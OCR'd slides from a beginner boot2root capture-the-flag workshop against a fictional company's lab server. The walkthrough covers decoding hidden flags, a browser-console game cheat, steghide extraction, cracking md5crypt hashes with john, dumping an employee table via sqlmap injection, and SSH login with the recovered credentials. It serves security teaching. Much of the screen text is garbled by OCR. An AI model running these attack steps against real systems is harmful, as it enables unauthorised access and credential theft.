N
Capture

The Flag
CCSCCTF

A BOOT2ROOT FOR BEGINNERS



WAYS TO PLAY

®

SOLO GUIDED

Go through the box at Workshop + Tutorial
your own pace Style



RULES

©

NO SCANNING OR WEB ENUMERATION

No Nmap required, ports will be provided to you, there should be
enough clues for you to figure it out.

NO ATTACKING THE SCOREBOARD

NO DOS OR ONLINE PASSWORD ATTACKS

No using hydra, or ncrack



<CCSC CTF
lolgamez

é SAFEBOX

SCENARIO

You have been hired by the fictitious
company lolgamez to pentest their website.

They have been using the fictitious company
safebox for security, and have noticed an
increased in attacks since then.

Your goal is to get root on their server, and
retrieve company secrets along the way.



I

21-FTP
22 - SSH
80 -HTTP - Web Server

8000 - CTFD Web Server - The Scoreboard (Do Not Attack)



FLAGS
There are 13 Flags

CCSC CTF Users scoreboard Challenges

Format;

CCSCFLAGX{some_text_here}

X - flag number (1-11)

Submit the flags to the
scoreboard to check that they
are correct.




Ready, set, go!

We will now post the IP address in the text channel Challenges.
Your first step is to register with the scoreboard.

If you want to get going go ahead. If you have never done a boot2root before and
would like more information stick around!

HAVE FUN AND GOOD LUCK!

< CCSC CTF




WHATIS A
BOOT2ROOT CTF?




WHY?

20797 New Members
491308 Members /\ 4%

Rank Name Points Owned Systems Owned Users

2 grumpyshark33 65 18 21

702 DELEY) 55 8 100



Enterprise

Command & Control Privilege

‘ Escalation
Information
m Gathering

Lateral
Movements

Q-0 {Z]

Exploitation

Translatable Skills

Operational

Impact Establish

Persistency

@ HackTheBox.eu

-

Prvvd

Active



Home Posts Categories Tags About

Recent Posts

Unbalanced - Hack The Box @

& December 05, 2020

Snowscan To solve Unbalanced, we'll find configuration backups files in
ENcFS and after cracking the password and figuring out how
ENcFS works, we get the Squid proxy cache manager password
that let us discover intemal hosts. Proxying through Squid, we
then land on a login page that uses Xpath to query an XML

Unbalanced

backend database. We perform Xpath injection to retrieve the
password of each user, then port forward through the SSH shell to
reach a Pi-Hole instance, vulnerable to a command injection vulnerabiliy.

O o om on D CHEEED e °
ommunity an
Buff - Hack The Box @
Competition

8 November 21, 2020

Buff is pretty straightforward: Use a public exploit against the Gym
Management System, then get RCE. Do some port-forwarding,
then use another exoloit (buffer overflow aaainst Cloudme Svnc)

Part of Hack The Box - 27 groups

Hack The Box Meetup:

YBER Onawa
>} Ottawa, ON
Z y 575 members - Private group
< , Organized by rOadrunn3r and 2 others

() HACKTHEBOX




OFFSEC SAY YOU MUST

TRY HARDER

Most Importantly

Learn by doing
Try, Fail, and Learn and try again

A
—



HOW DO WE DO IT?

O—-—0 -0 -0

Find running services, and other
information such as version, and
0sS.

ENUMERATION

Find version number, user
credentials, exposed information,
files

FOOTHOLD

Find publicly available exploits,
and vulnerabilities. Get a shell on
the remote machine

PRIVILEGE ESCALATION

Elevate privileges from user to
root



SCANNING

NEls

netdiscover
masscan

fping



ENUMERATION

Scan for HTTP files and directories:
dirb

dirbuster

gobuster

dirsearch

Check for Null Shares:

smbclient
smbmap
enum4linux

Check for services that don't require credentials:
Anonymous FTP, NFS, SMTP, HTTP



FOOTHOLD

Look for user credentials for
SSH, RDP

Look on Exploit DB,
Metasploit for exploits

Look for web application
vulnerabilities:

ie. SQLi, XSS, RCE



PRIVILEGE ESCALATION

More Enumeration
Tip: Learn how to do it manually before using an automated tool

Look for programs that can be run with elevated privileges

Use:
GTFOBins

Look for operating system exploits
Look for services the user can modify
Look for credentials in log files


https://gtfobins.github.io/

< CCSC CTF
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FTP

- Anonymous FTP allows for users to use FTP without
credentials
- Use username Anonymous, and no password

n : Qa : 000



FTP

- Thereis one file: lolgamez_notice.txt
- Download it using the get command



FTP

lolgamez_notice.txt

Save : 900

Open ~ R
lolgamez_notice.txt
1 Hey guys,
2 This is important please read:

3
4 ICxfICAgICBFCiB8XFxfLC1+LwoglLyBfICBFIHWEICAELCOtLE00ICBAICBAICKgICAVICWt JwogXCAgXIRFLYOuUXygeKAogLYAEICAZICAZTIGAUT FuKfCAgICAZICAZIF8ET Fug-

fA0gXCBCICWgIC8gICAgICB8CiAgFHWEFC1FXFIFICAgLWOogKChfL2A0X19fXywt JwpDUINDRkXBRZF7TWVvd3d3d3d3fQo=
5
6 I have protected it from the bad guys, but there are 64 bases to decode it.
7
8- N



Recipe

From Base64

Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars

Input e + O2 § =

length: 1

ICxfICAQICBfCiB8XFxfLC1+LwogLyBfICBf IHWgICAgLCOtLgooICBAICBAICKkgICAVICWE JwogXCAg
X1RTLyOuXyggKAogLYyAgICAgICAGIGAUIFWKTCAgICAgICAgIF8gIFwgTfAogXCBcICwgIC8gICAQICBS
CiAgfHwgfC1fXFOfICAgLwogKChfL2A0X19fXywt JwpDULINDRKkXBRzF7TWVvd3d3d3d3fQo=

CSSCFLAG1 {Meowwwwww}
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INDEX PAGE

O® 1O Inspector Console

<hZ ¢
A fish fr

"subtitle™>

576 % /1755

{} StyleEditor [ Debugger (7)) Performance {J Memory 1 Network 8 Storage 'ﬁ' Accessibility ‘38 What's New
+ # G R

iend to play with. Max out his stats to win a prize!!

fish-health”

ox">

element
}

"100">75%</

class="progress is-danger" value= ax="160">90%

position: absolute; margin-top > LetEr ; max-width: 120px;

position: absolute;

Layout

Computed

125em

Changes

Fonts

0] e+ X

Animations

hov s 4+ @
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FISH GAME

{3 Inspector {} StyleEditor [ Debugger () Performance

happiness

health

h_happiness=100;

health=100;

happiness=100;

health=100;

h_health=108;

happiness=100;

CCSCFLAG3{FISHY_JS_IS_HACKED}

4 Memory M Network [ Storage

'i‘ Accessibility

What's New

Errors

Warnings

Logs

Info Debug

0] = X

€SS XHR Requests X
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ENUMERATE
THE WEB
SERVER:

n

GENERATED WORDS

DLLLC . L/ O

unctions/ ----




GOTO

Welcome to SAFE

A "Safe" place for your files!

[TOP SE'F\ET]
some plans for expansion, we hope to render these models by 2027. For more
details see chat logs.

- N

WARNING: THESE OFFICIAL DESIGN BLUEPRINTS ARK PROPRISTARY AND

, 'l‘()l'




SCROLLTO
THE BOTTOM:

Wed Oct 23 :00 2020 [pid 116316] [admin] FAIL LOGIN: Client "::ffff:192.1
Wed 2 3:57:00 2020 [pic n] FAIL LOGIN: Client "::ffff:192.1
Wed Oct 28 23:57:00 2020 [pic 5306 ] dmin] FAIL LOGIN: Client "::ffff:192.16¢
Wed 23:57:00 2020 [pic 6 ] [www-data] FAIL LOGIN: Client "::ffff:192.
Wed Oct 28 2 100 2020 [pid 6317] FAIL LOGIN: Client "::ffff:192.
Wed Oct 2 :57:00 202 ] [admin] FAIL LOGIN: Client "::ffff:192.168
Wed t 3:57:00 2020 [pid ] [admin] FAIL LOGIN: Client "::ffff:

Wed Oct 57:00 2020 [pid 5] [admin] FAIL LOGIN: Client "::ffff:192

Wed Oct 2 57:00 2020 [pid 6 ] n] FAIL LOGIN: Client "::ffff:192

Wed Oct 28 :57:00 2020 [pid 116307] d n] FAIL LOGIN: Client "::ffff:192 8
Wed Oct 28 23:57:00 2020 [pid 116309] [admin] FAIL LOGIN: Client "::ffff:192.16

Copyright. 1990 LolLGameZ




UPLOAD INTO
CYBER CHEF/QR
PARSER:

Recipe

Parse QR Code

D Normalise image

Output

CCSCFLAG4{qr_code_square}

Name: gr_code.png
Size: 410 bytes
Type: image/png

Loaded: 100%

length:

410
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ENUMERATE

%
1]

& c @ O | /4 192.168.99.98/secret/ B |l © 7% YiND © @
Exploit-DB § Binder - Analysisande.. ™, NVD - Search and Stati.. ¥ CyberChef & The Witcher 3: One ho... Understanding Docker ... % Module 20 - Red Teami... »
¥ e 2

LePt ovm s Misting

SERVER:

-[ 1016G4M32 IRC ]---
[04/12/19 2:14] John: vgf ernyyl uneq gb svyy gurfr cntrf jvgu zrnavatshy
pbagrag
[64/12/19 3:13] Fred: Confirmed.
[04/12/19 12:23] Alice: I Like Lucky Charms
[04/12/19 16:39] Bob: % @% *@% *F%¥ xO% X0V ¥ A® *Ok * *
X XA0 XA X0 AAX k Tk AR XA XkO0F *FO X0k *AO AA
*OA X AL XO% AR x Ak kAL X AR XAk XX AR X7
* AV AOA AR XOA *OA * ¥ %O AR XOA X AL XO% XA X
* Ak kAL KX AR XAA XOA X0 *AV kAT X * A
[04/12/19 16:40] Bob: format CCSCFLAG{}, space between characters, hard,
might wanna skip
[04/12/19 21:01] John: Our plans are complete!!
[04/12/19 21:02] SYSTEM HALT

!l HIGH LEVELS OF TRAFFIC DETECTED !!! ERRORS DUMPED
Wed Oct lient
Wed Oct 1 NGTN A




[+1 crazyeights@es-base: ~ aQa : 000

:~$ python3 ccsc_flag.py

CCSCFLAGTL %afC %A® %Ok  *A% C %hf® 1L %X %A#F
CHhM® TF Ak kAL C_ *AK S *fFT A xTH XxT4{ %
A S KEFT AT AL C AR AT hAk kAL G KA ATA A
T XA kA0 *"D}
~$

1

2msg = "AEE ATR A FE ATE AT KAT ATk AT O A O KAT A FA ATE AAL KOk AA KA® ATE A fT
KOk AAT AX ATA AALF AT AP ATE Ak kAL AT 0 AAQ kAKX AFT AA AFT XA XTA A4 T4
**:A“" KT KFT AN ATA AAL XL KA XT0 Ak KAL *T 0 AAQ KAA ATA A FT XA XA® xOF

3

4 converter = {

5 "k ®E: C,

6 k" s,

7 @V : F",

8 n*“.n: nLn'

9 "T®k": A",

10 "w®®": "G",

11 n* .*n: n{n'

12 n* .An: n}n'

13 AAT "

14 }

15

16 plain = ""

17 for char i1 msg.split(” "):

18 17 char ‘1 converter:
19 plain+=converter[char]+" "
20 21lse:

21 plain+=char+" "

23 o (plain))|



[+ crazyeights@es-base: ~ Qa : 000

CCSCFLAG{L %A C hAL k Ok _ *AP C Xf® AL _ 4O kA
£ CAA® XOT hAk kAL C _ *FT AR XA AT
KEX S KT ATX AAL C KA® ATE ARk KAF C KA ATH
*EFT KA kA .31.. }

a crazyeights@es-base: ~ Qa : 000

:~$ python3 ccsc_flag.py
CCSCFLAGTL % C h&AF Ok  hA® C hdf® AL hTX AL C AA® XOF 1T x{#Ff 6 1
S kP KA KOA _ ATA KCA S KET KA KAL C KA KO0 I KAL kAR XTA *
FO AT kK *‘s'lﬁ }



a crazyeights@es-base: ~ Qa : 000

:~$ python3 ccsc_flag.py
CCSCFLAG{L*IAC*Rﬁt*'* KA® Chgf® AL hTA AL CAA® ATE I AR, O
S KEA KON S KEE  KOA KAL C KA XO0 I KAL G KAA XA *
re *h" *A 0 *00}

~$ []

f+1 crazyeights@es-base: ~ Qa : 000
:~$ python3 ccsc_flag.py

CCSCFLAGTL % C %A¥ %%k KA® CTAL_E %A C XA ° *OOI*A‘G S_THE

_*QAEST_E*?DIC*A'*@OI*AIG_*AA THA&® &



a crazyeights@es-base: ~ Q

:~$ python3 ccsc_flag.py
CCSCFLAG{L %l C %A¥ %%  K*AR{®PCTAL _
_EST_E*?DIC*A'*@@I*AlG_*AA

E XN C hA® k00 1 kN c
ETH A& ® %

e !}

<

 + 1 crazyeights@es-base: ~ Q

:~$ python3 ccsc_flag.py

* ©
’»—A«
‘I'_

i~$ []

KFAC AL KOk AR® CT AL
CHA® AEF 1 hAL C_ KARETH AAR® %0 |

E XN C hA® X0 1T k{Ff 6 15

_THE

_THE



:~$ python3 ccsc_flag.py
L ddfd C hAF h %
#C
i~$

:~$ python3 ccsc_flag.py

K FA C AAFE kO

*A® KO0 I kAL G

crazyeights@es-base: ~

*R® cTAL _JE

crazyeights@es-base: ~

_OCTAL_ENCODING

CkAA ETH kAP *OQ}

N ES

_TH

E

I

Q

_BEST

IS _THE

_ENCODIN



crazyeightspes-base:~$ python3 ccsc_flag.py

CCSCFLAG{LUCKY _OCTAL_ENCODING_IS_THE_BEST_ENCODING _w%wWRARET
HOD}

crazyeightsges-base:~$ python3 ccsc_flag.py
CCSCFLAG{LUCKY_OCTAL_ENCODING_IS_THE_BEST_ENCODING_METHO

D}
crazyeightsges-base:~$ [] |

a crazyeights@es-base: ~ Q L N N

crazyeightsges-base:~$ python3 ccsc_flag.py
CCSCFLAG{LUCKY_OCTAL_ENCODING_IS_THE_BEST_ENCODING_METHOD}
crazyeightses-base:~$ []
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STEGO

&«

Download the images:

cC @ © % 192.168.99.98/secret

Exploit-DB § Binder - Analysisande.. "% NVD - Search and Stati.. W CyberChef @ The Witcher 3: One ho... Understanding Docker .. % Module 20 - Red Teami...

PROTECTED BY VARIOUS UNITED STATES AND WORLOWIDE PATE

TOP

{aT

WARNING: THESE OFFICIAL DESIGN BLUEPRINTS ARE PROPRISTARY AND
NTS.

& SECRET <&, — &

B8

R

SPECIFICATIONS

e
Tvee

0
Eottie wobot (Nototype @)
194

PR0D. YEAR

oRwe Ay Sokeon it tyass |
somot2 |
=

S

-

N o

%

»




STEGO

 +§ crazyeights@es-base: ~/Downloads Q [ N N ]

crazyeightsges-base:~$ cd Downloads/

crazyeightsges-base:~/Downloads$ strings si.jpg

JFIF

2Processed By eBay with ImageMagick, z1.1.0. ||B2
, #5")*)

-0-(0%( )(

(ceeccccccccccccccccccccccccccccccccccccccccccccdd

20 T

9oh

n4ks

CCSCFLAG5{try_steghide}
crazyeightspes-base:~/Downloads$ D



STEGO

yon
n4ks
CCSCFLAG5{try_steghide}
:~/Downloads$ steghide extract -sf s2.
Enter passphrase:
wrote extracted data to "hidden.txt".
:~/Downloads$ [}

Open ~ 0 hidden.txt

1 To improve security I moved what was here to the safe at 873b3022fe28dobe6a5bde152fel5e8a/
2

3-N

4

jpg

Save

hidden.txt
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USE THE MESSAGE FROM THE PREVIOUS CHALLENGE

1 To improve security I moved what was here to the safe at 873b3022fe28dobe6aSbde152fel5e8a/
2
3-N

< c @ © 4 18.217.148.239/¢ ife.htr B -9% oINn @

Exploit-DB £ Binder - Analysisand e.. ™%, NVD - Search and Stati.. W CyberChef @ The Witcher 3: One ho... Understanding Docker .. & Module 20 - Red Teami.. @ Free Bulma templates GTFOBins

lolgamez C Rl

Welcome to SAFE

A "Safe" place for your files!

[TOP SECRET]
e SAFE, I should move them though.
it thanks.

DUMP FROM LO1G




COPY AND PASTE TO FILE

Open ~ QA

1 $1$ccsc$WQBq3AHIB1S5uaxskDmIG.

2 $1$ctf$hEsrb.RoWuc04xHORVDoO/

3 $1$ccsc$5LmgFXurdgieqv2IgXwy Il

4 $1$1lolgamez$SxbfcOIuQxYVKKHi8qjvF/
5 $1$salty$m5yPbF1tzooezMxzUg2wgl

6 CCSCFLAG6

74

8 $1$f1ag$1u0YR. OUEY9gimPAKDECK/

crackme_hashes
= Save

g7
10 $1$flag$w8/30jXTPO2PCrKUQc9Bf.
11
12 $1$flag$DEKCxzyI3NeUv8BYna/IVO
13}
14 $1$pass$upgbQ0OYg2QIg753Pb/GGO/
15 $1$pass$U4G4N4A02IHOLWP2KKOA31
16 $1$salty$1I5gYfD6xCOjWh4P88UKAD
17 $1$ctf$vssjhbALMREbWk1tL8dire
18 $1$1lolgamez$0IAgYF . x14AXIMZN1cCpQl
19 $1$ccsc$5BChelj.GMgHiQ3uRtFhX1
20 $1$1lolgamez$6GYjYTrm5veHZiRMMIhZWO
21 $1%hash$mGZ44M8jvjj7Ul4dfylfil

PlainText ¥ TabWidth:8 ~ Ln5, Col 32



CRACK WITH JOHN

 + 1 crazyeights@es-base: ~ Q

crazyeightsges-base:~$ john --wordlist=1lists/rockyou.txt -rules crackme_hashes
Warning: detected hash type "md5crypt", but the string is also recognized as "md
5crypt-long”

Use the "--format=md5crypt-long” option to force loading these as that type inst
ead

Using default input encoding: UTF-8

Loaded 16 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and va
riants) [MD5 256/256 AVX2 8x3])

Remaining 9 password hashes with 6 different salts

Will run 16 OpenMP threads

[

crazyeightsges-base:~$ john --show crackme_hashes
:Fun

:john

:flagsrule!

:Darth_Vader

:capturetheflag

:ironman!

:iambatman

NN N N N Y Y

7 password hashes cracked, 9 left

crazyeightspes-base:~$ I




CRACK WITH JOHN

 + crazyeights@es-base: ~ Q

. :~$ tail -n6 .john/john.pot
$1$flag$w8/30jxTPO2PCrKUQCcIBf. : john
$1$ccsc$5BChelj.GMgHiQ3uRtFhX1:iambatman
$1$1olgamez$0IAgyF . xi4AXxIMZN1cCpQl: ironman!
$1$flag$DEKCxzyI3NeUv8BYna/IVO: flagsrule!
$1$ctf$vssjhbALMREbWk1tL8dir®@: capturetheflag
$1$pass$U4G4n4A02IHOLWP2KKOA3 1 : Darth_Vader

i~$ []
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< X @ © /4 18.217.148.239/games B -9 ¥ IN@D ©® @ ]

Exploit-DB i Binder - Analysisand e.. “%, NVD - Search and Stati.. ¥ CyberChef & The Witcher 3: One ho.. [ Understanding Docker .. % Module 20 - Red Teami.. § Free Bulma templates GTFOBins »

Game of the Year

¥
~

Transferring data from 18.217.148.239...



c % view-source:http://18.217.148.239/games/ w N @

Exploit-DB £ Binder - Analysisand e... ", NVD - Search and Stati.. ¥ CyberChef @ The Witcher 3: One ho... Understanding Docker ... % Module 20 - Red Teami.. & Free Bulma templates GTFOBins

199999999999

199999999999
0

<!---TXkgbGFOZXNOIGFydCBpbnNOYWxsYXRpb246IGdhbWvzL2Vhc31fcGVienl fbGVtb25fc3F1ZWV6eS50eHQ=- ->

</body>
</html>




Recipe [ ] Input

= oncas TXkghGFOZXNOIGFydCBpbnNOYWxsYXRpb246IGdhbwVzL2Vhc31fcGV1lenlfbGVtb25fc3F1ZWV6eS50eHQ=
rom Base

-20-9+/=

Alphab
A-Za

Remove non-alphabet chars

Output

My latest art installation: games/easy_peezy_lemon_squeezy.txt




< © /4 18.217.148.239

Exploit-DB Binder - Analysis and e.. ™% NVD - Search and Stati.. ¥ CyberChef

1VBORWOKGQOAAAANSUhEUGAAABAAAAQACAYAAADGSLVhAAABhGLDQ1BIQOMgCHIVZML SZQAAKIF9
kT1IwlAUhU9TS@UQDMYQcchQO1kQFXHUKhShQqgVWnUweek fNGLIULwcBdeCgz+LVQCcXZ10dXAVB
8AfEZc1JOUVKvC8ptIjxwuNInHfP4b37AKFZYbrvMw7ohm2mkwkpmluVwg8QEICIEGIKS2pzspyC
b33duy/VXZxn+ffoWfla3mJAQCKeZTXTIt4gnt60a5z31UVWUj Tic+Ixky5I/Mh11eM3zkWXBZ4p
mpnOPLFILBW7W01iVjJ14iniqKYb1COkPdY4b3HWK3XWvid/YSRvrCxzndYIk1jEEMRIUFFHGRXY
iNNukGIhTecJH/+w65fIpZKrDEaOBVShQ3HI4H/ we7ZWYXLCS40kgNCLA3yMAUFdoNVWNO9jx2md
AMFN4Mro+KtNY0aTIEZHix4BA9VAXXVHU/eAyx1g6KmmmIorBWkIhQLwfkbflAMGb4G+NWIU7X0c
PgAZm1XqBj g4BGIFy173eXdv99z+7WnP7wcRUHKARRKNXWAAAAZ1SOAEACGAWGD /RNubUQAAAATW
SF1zAAAUIWAALiMBeKU/dgAAAAdOSULFB+UCARQOAASTSZIAAAAZJEVYdENVbW1T1bnQAQ3JTYXRL
Z(B3aXRoIEdITVBXgQ4XAAAgAELEQVR42uzdd5QUVd6H8WCCDDLHFRFRERVFTCgqioqYVhQDgjnnM
wIIKSZIKGYALSZIKSTIASSIKSZIKAIYKSZIkyQASSZIKSZIBWIIkSZIKA7AKSZIKSQZgSZIKSZIM
WIIKSZIKA7AKSZIKSQZgSZIKSZIMWIIKSZIKGYALSZIKSTIASSIkSZIKAIYKSZIKyQASSZIKSZIB
WIIKSZIKA7AKSZIkyQASSZIKSZIBWIIKSZIKA7AKSZIKSQZgSZIKSZIMWIIKSZIKGYALSZIKSTIA
S5IKSZIKAIYKSZIkyQAsSZIKSTIASSIKSZIKAIYKSZIkyQAsSZIKSZIBWIIKSZIKA7AKSZIKSQZg
SZIKSZIMwIIKSZIKGYALSZIKSQZgSZIKSZIMwIIKSZIKGYALSZIKSTIASSIkSZIKAIYKSZIkyQAs
SZIKSZIBWIIKSZIKA7AKSZIkSQZgSZIKSZIBWIIKSZIKA7AKSZIKSQZgSZIKSZIMWITIKSZIKGYAL
SZIKSTIASSIKSZIKAJYKSZIKyQASSZIKSZIBWITKSZIKAIYKSZIKYQASSZIKSZIBWIIKSZIKATAK
SZIkSQZgSZIKSZIMwIIKSZIKGYALSZIKSTIASSIKSZIKAIYKSZIKGYALSZIKSTIASSIKSZIkAIYK
SZIKyQASSZIKSZIBWIIKSZIKATAKSZIkSQZQSZIKSZIMwWIIKSZIKGYA1SZIkSQZgSZIKSZIMWITk
SZIKGYALSZIKSTIASSIKSZIKAIYKSZIKyQAsSZIKSZIBWITKSZIKA7AKSZIkSQZgSZIKSZIBWITk
SZIKA7AKSZIkSQZgSZIKSZIMwIIKSZIKGYALSZIKSTIASSIkSZIKAIYKSZIkyQASSZIKSZIBWITk
SZIkAJYkSZIkqcaprCsfpFNTGNofeveEVi2hRTNo3gwaN4alS2HRY114CGbOhg8mw0iP4N2fnNCcK
/brBXttDrx7Qpju6awl5eTB/IcyfDxN+glFj4auvXI9aTVIWeXBwX+]jXBzqODdtEs6bQtCnk58GS
Y118G0YtgJI9+hi+/hlc+hh9mu+wkSZIUSGO4rLw8V2e+qAD03Ae26Q3rrQMNGqT2/Flz4L2P4e7n
YMLM+jmv260DIx8Em/eC/CTaA/z209z7BDw6 rm4uoxN3gT00zuznemYkXPRIau9zy/3wj9dXz37V
tBDeuCNccFjZfofDn++r3fk5YQDO3wZ6dIcmjVN7bmkpfPcjvDk07nsNFpbUzDxu3AGO3As27A4d
200j0rD91pXBB5/CUTFEF16HI jOmnvive/tDcMcrHqgU3/ 1nwbZbxn+8rAyuvABe/6BmS+0]i6FX
29] fy/10yZ711Q37XDbu94/+BTbfIPZ]30+EfS52X/M7W7nqg7vDDQMINSEWLIIpv8O4T+DUUTV3
bpTNcvYOBEM7wtB90EO79F+j TSvYaxfYbQf4+D04/XEYP6X+20tpg+CYg6GoYfLPEdWRL ) 4VBUOA
p94C85bviv/VZ1x2/e+zwC7Dd L 1B4P5TUWMWZ4dvCYYOh61rpvOZBAfRCP/wcuh+8+Dpc9zQUl2Zu
Ps/aC44YAKVFqz6Wnw8NCtymVDMO3x76bhE9zVv]jaj78njIwdviVIGVB2CsMrTohnKsUFUHb1tBr
Q9hnF7jqLhj9nQE4q+221Zx50KzbNX0v2bBhuILeexP4v+fh+ufq/rxeNQyG7Fm5Q6Qilw+26g3/
ugi0GgGzi+vH+qwvdts+/mMtW8BIuBNto2ru/ft2hfOPhg3Xy+zrNm8Gh+wlLu/aDB5+B+8dkJoAc
0zS51hNSInVqCiccEvOdPnOmXFzDLTa6toTDI3d9SFIOHks6wIWNww8XwaS59edz59Rp29HI4bpz
MxuWqmrcCI46CI6+FHqOq7vzesIA2H+PIMIVVT3Wg3vOrx/rs77YfSPotnbONAO3r7n3H74t3HZR
5sNvVe3bwTnHwa@nhH7F1QrA+x1+tXpcdWxo9RIPWRNC/m+YuaRm5+PyY6FFc9eHIOWqtq3htCH1
6zPnzKnb5QfDn48NoaambdQD7 rkEt1m7751r99Zw/LDMnbRv3AMuObBurs/65KDdk9iGloFdemT+
VS85EP5yUmU/1ZqUlwe77Qj PXQNdWqT3GrvogDU7xX986] T45Av4+Au3K2XW8G2h31bRO4WZBO9I8
WLPzceh2sM3mrg9JymbvfAhffwcLFsafZuvNDMBZS5/0j4eA/QUEtzm37dnDLX2CrLnVrXs8elnoh
oUT+tBuOLqqb67M+6dQU+VRKL jwOHZTZ9772cBg20PTZrU3rdoV7LoI1lm6X+3G02]jv33IcWhiNnO
Z8Gwv8INI9221DkdmsBIwxM3fb703pqdj9ZFiztgS5IwvIP+Aft fAQNPgIHVXI6mXdvObwjkogzv
A3ziLrD3rs1PX7wUJkwMd19mzYFZc6FII2jdE1qlgHXWg rXwS06g3bIFXHCWHHYp/Log9+e1RcNQ
xChKawkoIPX91Cgtg3W7wNadoysyN2sKI+OF I56ph-+uzv]j Lhr1C90B1bbBpOXKctqy77nrQr7LNb
8tOXIMDEYTB5CsyeG7aLhg2hfZuwXXTuEApnJdvKoetac0/FcPClqRV1a9s69t8//mz1VFBW3XfV
MfG3PQhNN2/7V/VqMyQ1HOdDuUZzauj3SU1sG8+fEFX1LsMnLdSZk3uxhOuRPGbQotV+q6kpcHG3SG
n+cZgFe7XXrACcOTCzc/T4EXXodH30zc561vV9h/Z9h1h8RNcDt3hL+eBIf/LffnddgOORWIFy6C
y2+FFz9f rz45fGRhgs551a33G8/wr8PmE1]7z9eTc+DLo3zf
3 ) wtce dg

The Witcher 3: One

E| v @

% Module 20 - Red Teami...

& Free Bulma templates

n @

GTFOBins




n crazyeights@es-base; ~ Qa : 00

crazyeightsges-base:~$ curl http://18.217.148.239/games/easy_peezy_lemon_squeezy.txt >
mystery_file

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 38898 100 38898 0 ® 303k 0 -=i-=i== ==l==i== -=j-=i1-~ 303K

crazyeightsges-base:~$ base64 -d mystery_file

@

" € )N R GRLENDEB €z razyeigccracrace
crazyeightsges-base:~$ base64 -d mystery_file > mystery.png
crazyeightsges-base:~$ |}



B 8% ¥ mystery.png 2! 000
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< c @ © % 18.217.148.239 - O N O ® @

Exploit-DB & Binder - Analysisand e... ™, NVD - Search and Stati.. ¥ CyberChef @ The Witcher 3: One ho... Understanding Docker ... % Module 20 - Red Teami... Free Bulma templates GTFOBins

|°|gamez Home AboutUs Contact Staff

LOLGam3z

Employee Records

Search:

Name Role
Jake Smith President
John Wick Vice President
Luke Skywalker VP Sales
Han Solo VP Marketing
Obi-Wan Kenobi VP Communications
Jar Jar Binks Sales

Tony Stark VP Engineering

Anakin Skywalker Programmer

Mace Windu Programmer
Clark Kent Programmer
Bruce Wayne Programmer

Steve Rogers Tester




crazyeightsges-base:~$ sqlmap -u

a

Database: store
Table: employees
[12 entries]

crazyeights@es-base: ~

crazyeights@es-base: ~

http://18.217.148.239/staff.php?id=1 --dump

jo)

e s e s +
| id | pass | username | full_name | position |
R bl b L L L Ll e aaa L L L L L e DL e L L L e s F s - Fr oo +

1 b026324c6904b2a9cb4b88d6d61c81d1 | EatBullets Jake Smith President

2 26abodb90d72e28adobale22ee510510 | PRO_GGRAM3D John Wick Vice President

3 6d7fce9fee471194aa8b5b6e47267f03 | CoBglt Luke Skywalker VP Sales

4 48a24b70a0b376535542b996af517398 | SeekNDstroy Han Solo VP Marketing

5 1dcca23355272056f04fe8bf20edfce@ | Bulletz4Breakfast | Obi-Wan Kenobi VP Communications

6 9ae0dea9e3c9c6e1b9b6252c8395efdcl | BigDamnHero Jar Jar Binks Sales

7 84bc3dalb3e33a18e8dSe1bdd7a18d7a | IronMAN77 Tony Stark VP Engineering

8 CCSCFLAG7{sqli_what_fun} FightClubAlum Anakin Skywalker | Programmer

9 these_are_not_real_passwords BadBaneCat Mace Windu Programmer

10 | hint_there_might_be_other Ne@nCat3 Clark Kent Programmer

11 | useful_info_in_this_table IAmNotBatman123 Bruce Wayne Programmer

12 | 7c5aba41f53293b712fd86d08ed5b36e | PennywiseTheClown | Steve Rogers Tester
B e g s e o ——— o e e ———— +

[18:17:38] [INFO] table 'store.employees’ dumped to CSV file '/home/crazyeights/.local/share/sqlmap/output/18.217.148.239/dump/store/e
mployees.csv'
[18:17:38] [INFO] fetched data logged to text files under '/home/crazyeights/.local/share/sqlmap/output/18.217.148.239"
[18:17:38] [WARNING] your sqlmap version is outdated

[*] ending @ 18:17:38 /2021-02-01/

crazyeightspes-base:~$ ||
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Jake Smith

esident, Username: EatBu

lets (Discord

Mace Windu

Progran

Bruce Wayne

Progra

lamNo




Database: store
Table: employees
[12 entries]

crazyeights@es-base: ~

e it e e e +
| id | pass | username full_name position |
L DLl b L L L L LI b LD DL DL L L s sl DL L LD DL LD e LD D L e D et DL Lo sl D L L L L DL S atatates +

1 b026324c6904b2a9ch4b88d6d61c81dl | EatBullets Jake Smith President
2 26abodb90d72e28adobale22ee510510 | PRO_GGRAM3D John Wick Vice President
3 6d7fce9fee471194aa8b5b6e47267f03 | CoBglt Luke Skywalker VP Sales
4 48a24b70a0b376535542b996af517398 | SeekNDstroy Han Solo VP Marketing
5 1dcca23355272056f04fe8bf20edfced | Bulletz4Breakfast | Obi-Wan Kenobi VP Communications
6 9ae0ea9e3c9cbe1b9b6252c8395efdcl | BigDamnHero Jar Jar Binks Sales
Ly | VP Engineering
8 CCSCFLAG7{sqli_what_fun} FightClubAlum Anakin Skywalker || Programmer
9 these_are_not_real_passwords BadBaneCat Mace Windu Programmer
WWI\.GLJ CLalr'R R Programmer
11 | useful_info_in_this_table IAmNotBatman123 Bruce Wayne Programmer
12 | 7c5aba41f53293b712fd86de8ed5b36e | PennywiseTheClown | Steve Rogers Tester
$ommmtmmm——— - - - Edaded S st g o S +

[18:17:38] [INFO] table 'store.employees’ dumped to CSV file '/home/crazyeights/.local/share/sqlmap/output/18.217.148.239/dump/store/e

mployees.csv'

[18:17:38] [INFO] fetched data logged to text files under '/home/crazyeights/.local/share/sqlmap/output/18.217.148.239'

[18:17:38] [WARNING] your sqlmap version
[*] ending @ 18:17:38 /2021-02-01/

crazyeightsges-base:~$ ||

is outdated




crazyeightsaes-baée:~$ 5ohn --show Erackme_hashes

N Y N ) ey Y

7

:Fun

:john
:flagsrule!
:Darth_Vader
:capturetheflag
:ironman!
:iambatman

password hashes cracked, 9 left

crazyeightspes-base:~$ |]

 + | crazyeights@es-base: ~

crazyeightsges-base:~$ ssh BadBaneCatg192.168.99.98
BadBaneCat192.168.99.98's password:

Last login: Tue Jan 26 ©01:53:38 2021 from 192.168.99.1
$ 1s

Desktop Documents Downloads Images user.txt Videos

s



$ 1s

Desktop Documents Downloads Images user.txt Videos
$ /bin/bash

BadBaneCat@ubuntu2010:~$ | |

i +§ BadBaneCat@ubuntu2010: ~ Q

[ N N J
